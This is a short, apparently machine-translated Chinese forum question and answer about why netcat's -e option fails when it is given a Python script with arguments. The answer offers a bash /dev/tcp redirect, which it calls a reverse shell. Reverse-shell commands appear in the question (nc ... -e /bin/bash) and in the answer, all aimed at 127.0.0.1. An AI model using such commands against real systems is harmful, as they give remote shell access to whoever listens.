所以这是一个奇怪的问题。
python script.py -a 1234
作品
/usr/bin/python /tmp/script.py -a 1234
作品
nc 127.0.0.1 443 -e /bin/bash
作品
nc 127.0.0.1 443 -e /usr/bin/python /tmp/script.py -a 1234
与all-A-records NIY
一起失败
nc 127.0.0.1 443 -e "/usr/bin/python /tmp/script.py -a 1234"
与failed : No such file or directory
故障
我是不是遗漏了什么?我不知道为什么这不起作用。
好吧,我不确定netcat是怎么回事,但做一个老式的bash反向shell可以很好地解决问题。
/usr/bin/python -u /tmp/script.py >& /dev/tcp/127.0.0.1/443 0>&1
这里需要简要说明的是,请确保包含-u
,否则您将从套接字获得传入数据,但脚本的任何输出都不会通过套接字发回。